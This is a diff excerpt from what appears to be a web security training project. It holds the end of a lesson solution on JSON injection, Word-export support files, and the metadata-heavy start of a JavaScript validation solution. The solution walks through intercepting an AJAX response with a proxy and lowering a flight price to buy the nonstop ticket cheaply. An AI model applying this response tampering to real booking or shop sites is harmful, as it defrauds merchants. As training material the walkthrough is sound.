attacks works:</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>JavaScript Object
|
||||
Notation (JSON) is a simple and effective lightweight data exchange format.
|
||||
JSON can be in a lot of forms such as arrays, lists, hashtables and other data
|
||||
structures. JSON is widely used in AJAX and Web2.0 application and is favored
|
||||
by programmers over XML because of its ease of use and speed. However, JSON,
|
||||
like XML is prone to Injection attacks. A malicious attacker can inject the
|
||||
reply from the server and inject some arbitrary values in there. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>General
|
||||
Goal(s):</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><!-- Start Instructions -->You
|
||||
are traveling from Boston, MA- Airport code BOS to Seattle, WA - Airport code
|
||||
SEA.<br>
|
||||
Once you enter the three digit code of the airport, an AJAX request will be
|
||||
executed asking for the ticket price.<br>
|
||||
You will notice that there are two flights available, an expensive one with no
|
||||
stops and another cheaper one with 2 stops.<br>
|
||||
Your goal is to try to get the one with no stops but for a cheaper price.</span><span
|
||||
style='font-family:"Arial","sans-serif";mso-fareast-language:JA'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='mso-no-proof:
|
||||
yes'><!--[if gte vml 1]><v:shapetype id="_x0000_t75" coordsize="21600,21600"
|
||||
o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f"
|
||||
stroked="f">
|
||||
<v:stroke joinstyle="miter"/>
|
||||
<v:formulas>
|
||||
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
|
||||
<v:f eqn="sum @0 1 0"/>
|
||||
<v:f eqn="sum 0 0 @1"/>
|
||||
<v:f eqn="prod @2 1 2"/>
|
||||
<v:f eqn="prod @3 21600 pixelWidth"/>
|
||||
<v:f eqn="prod @3 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @0 0 1"/>
|
||||
<v:f eqn="prod @6 1 2"/>
|
||||
<v:f eqn="prod @7 21600 pixelWidth"/>
|
||||
<v:f eqn="sum @8 21600 0"/>
|
||||
<v:f eqn="prod @7 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @10 21600 0"/>
|
||||
</v:formulas>
|
||||
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
|
||||
<o:lock v:ext="edit" aspectratio="t"/>
|
||||
</v:shapetype><v:shape id="Picture_x0020_77" o:spid="_x0000_i1030" type="#_x0000_t75"
|
||||
style='width:480pt;height:277.5pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/JSONInjection_files/image001.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/JSONInjection_files/image013.jpg" v:shapes="Picture_x0020_77"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>1</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> AJAX Security - JSON Injection</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Solution:<o:p></o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif";mso-bidi-font-weight:
|
||||
bold'>Like with the previous lessons you need to manipulate the HTTP Response
|
||||
using WebScarab.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif";mso-bidi-font-weight:
|
||||
bold'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif";mso-bidi-font-weight:
|
||||
bold'>Examine the normal flow by entering the airport code BOS and SEA and
|
||||
intercept the HTTP Request and the HTTP Response in WebScarab.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif";mso-bidi-font-weight:
|
||||
bold'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_78"
|
||||
o:spid="_x0000_i1029" type="#_x0000_t75" style='width:481.5pt;height:345pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/JSONInjection_files/image003.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=642 height=460
|
||||
src="lesson_solutions/JSONInjection_files/image014.jpg" v:shapes="Picture_x0020_78"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>2</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Intercept HTTP Request</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='mso-no-proof:
|
||||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_79" o:spid="_x0000_i1028"
|
||||
type="#_x0000_t75" style='width:481.5pt;height:345pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/JSONInjection_files/image005.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=642 height=460
|
||||
src="lesson_solutions/JSONInjection_files/image015.jpg" v:shapes="Picture_x0020_79"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>3</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Intercept HTTP Response</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Change the
|
||||
price for the expensive flight of $600 to $100 and click "Accept changes".<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='mso-no-proof:
|
||||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_80" o:spid="_x0000_i1027"
|
||||
type="#_x0000_t75" style='width:481.5pt;height:345pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/JSONInjection_files/image007.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=642 height=460
|
||||
src="lesson_solutions/JSONInjection_files/image016.jpg" v:shapes="Picture_x0020_80"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>4</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Updated price</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='mso-no-proof:
|
||||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_81" o:spid="_x0000_i1026"
|
||||
type="#_x0000_t75" style='width:480pt;height:277.5pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/JSONInjection_files/image009.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/JSONInjection_files/image017.jpg" v:shapes="Picture_x0020_81"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>5</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Injected result</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Select the flight
|
||||
with no stops and the updated price and click "Submit".<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_82"
|
||||
o:spid="_x0000_i1025" type="#_x0000_t75" style='width:480pt;height:277.5pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/JSONInjection_files/image011.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/JSONInjection_files/image018.jpg" v:shapes="Picture_x0020_82"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>6</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Lesson completed<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
</div>
|
||||
<table align='RIGHT' cellspacing='0' width='90%' border='0' cellpadding='0'>
|
||||
<tr>
|
||||
<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
|
||||
Solution by Erwin Geirnaert
|
||||
</td>
|
||||
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
|
||||
@ -0,0 +1,18 @@
|
||||
<xml xmlns:o="urn:schemas-microsoft-com:office:office">
|
||||
<o:MainFile HRef="../JSONInjection.html"/>
|
||||
<o:File HRef="themedata.thmx"/>
|
||||
<o:File HRef="colorschememapping.xml"/>
|
||||
<o:File HRef="image001.png"/>
|
||||
<o:File HRef="image013.jpg"/>
|
||||
<o:File HRef="image003.png"/>
|
||||
<o:File HRef="image014.jpg"/>
|
||||
<o:File HRef="image005.png"/>
|
||||
<o:File HRef="image015.jpg"/>
|
||||
<o:File HRef="image007.png"/>
|
||||
<o:File HRef="image016.jpg"/>
|
||||
<o:File HRef="image009.png"/>
|
||||
<o:File HRef="image017.jpg"/>
|
||||
<o:File HRef="image011.png"/>
|
||||
<o:File HRef="image018.jpg"/>
|
||||
<o:File HRef="filelist.xml"/>
|
||||
</xml>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 170 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 30 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 38 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 38 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 176 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 174 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 30 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 26 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 32 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 31 KiB |
Binary file not shown.
841
src/main/webapp/lesson_solutions_1/JavaScriptValidation.html
Normal file
841
src/main/webapp/lesson_solutions_1/JavaScriptValidation.html
Normal file
@ -0,0 +1,841 @@
|
||||
<html xmlns:v="urn:schemas-microsoft-com:vml"
|
||||
xmlns:o="urn:schemas-microsoft-com:office:office"
|
||||
xmlns:w="urn:schemas-microsoft-com:office:word"
|
||||
xmlns:m="http://schemas.microsoft.com/office/2004/12/omml"
|
||||
xmlns="http://www.w3.org/TR/REC-html40">
|
||||
|
||||
<head>
|
||||
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
|
||||
<meta name=ProgId content=Word.Document>
|
||||
<meta name=Generator content="Microsoft Word 12">
|
||||
<meta name=Originator content="Microsoft Word 12">
|
||||
<link rel=File-List href="lesson_solutions/JavaScriptValidation_files/filelist.xml">
|
||||
<link rel=Edit-Time-Data href="lesson_solutions/JavaScriptValidation_files/editdata.mso">
|
||||
<!--[if !mso]>
|
||||
<style>
|
||||
v\:* {behavior:url(#default#VML);}
|
||||
o\:* {behavior:url(#default#VML);}
|
||||
w\:* {behavior:url(#default#VML);}
|
||||
.shape {behavior:url(#default#VML);}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:DocumentProperties>
|
||||
<o:Author>egeirnaert</o:Author>
|
||||
<o:LastAuthor>egeirnaert</o:LastAuthor>
|
||||
<o:Revision>4</o:Revision>
|
||||
<o:TotalTime>18</o:TotalTime>
|
||||
<o:Created>2007-07-11T10:42:00Z</o:Created>
|
||||
<o:LastSaved>2007-07-12T15:33:00Z</o:LastSaved>
|
||||
<o:Pages>5</o:Pages>
|
||||
<o:Words>352</o:Words>
|
||||
<o:Characters>2007</o:Characters>
|
||||
<o:Company> </o:Company>
|
||||
<o:Lines>16</o:Lines>
|
||||
<o:Paragraphs>4</o:Paragraphs>
|
||||
<o:CharactersWithSpaces>2355</o:CharactersWithSpaces>
|
||||
<o:Version>12.00</o:Version>
|
||||
</o:DocumentProperties>
|
||||
</xml><![endif]-->
|
||||
<link rel=themeData href="lesson_solutions/JavaScriptValidation_files/themedata.thmx">
|
||||
<link rel=colorSchemeMapping
|
||||
href="lesson_solutions/JavaScriptValidation_files/colorschememapping.xml">
|
||||
<!--[if gte mso 9]><xml>
|
||||
<w:WordDocument>
|
||||
<w:TrackMoves>false</w:TrackMoves>
|
||||
<w:TrackFormatting/>
|
||||
<w:PunctuationKerning/>
|
||||
<w:ValidateAgainstSchemas/>
|
||||
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
|
||||
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
|
||||
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
|
||||
<w:DoNotPromoteQF/>
|
||||
<w:LidThemeOther>EN-US</w:LidThemeOther>
|
||||
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
|
||||
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
|
||||
<w:Compatibility>
|
||||
<w:BreakWrappedTables/>
|
||||
<w:SnapToGridInCell/>
|
||||
<w:WrapTextWithPunct/>
|
||||
<w:UseAsianBreakRules/>
|
||||
<w:DontGrowAutofit/>
|
||||
<w:SplitPgBreakAndParaMark/>
|
||||
<w:DontVertAlignCellWithSp/>
|
||||
<w:DontBreakConstrainedForcedTables/>
|
||||
<w:DontVertAlignInTxbx/>
|
||||
<w:Word11KerningPairs/>
|
||||
<w:CachedColBalance/>
|
||||
</w:Compatibility>
|
||||
<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
|
||||
<m:mathPr>
|
||||
<m:mathFont m:val="Cambria Math"/>
|
||||
<m:brkBin m:val="before"/>
|
||||
<m:brkBinSub m:val="--"/>
|
||||
<m:smallFrac m:val="off"/>
|
||||
<m:dispDef/>
|
||||
<m:lMargin m:val="0"/>
|
||||
<m:rMargin m:val="0"/>
|
||||
<m:defJc m:val="centerGroup"/>
|
||||
<m:wrapIndent m:val="1440"/>
|
||||
<m:intLim m:val="subSup"/>
|
||||
<m:naryLim m:val="undOvr"/>
|
||||
</m:mathPr></w:WordDocument>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
|
||||
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
|
||||
LatentStyleCount="267">
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
|
||||
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="caption"/>
|
||||
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
|
||||
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
|
||||
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Hyperlink"/>
|
||||
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
|
||||
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Table Grid"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
|
||||
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
|
||||
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
|
||||
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
|
||||
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
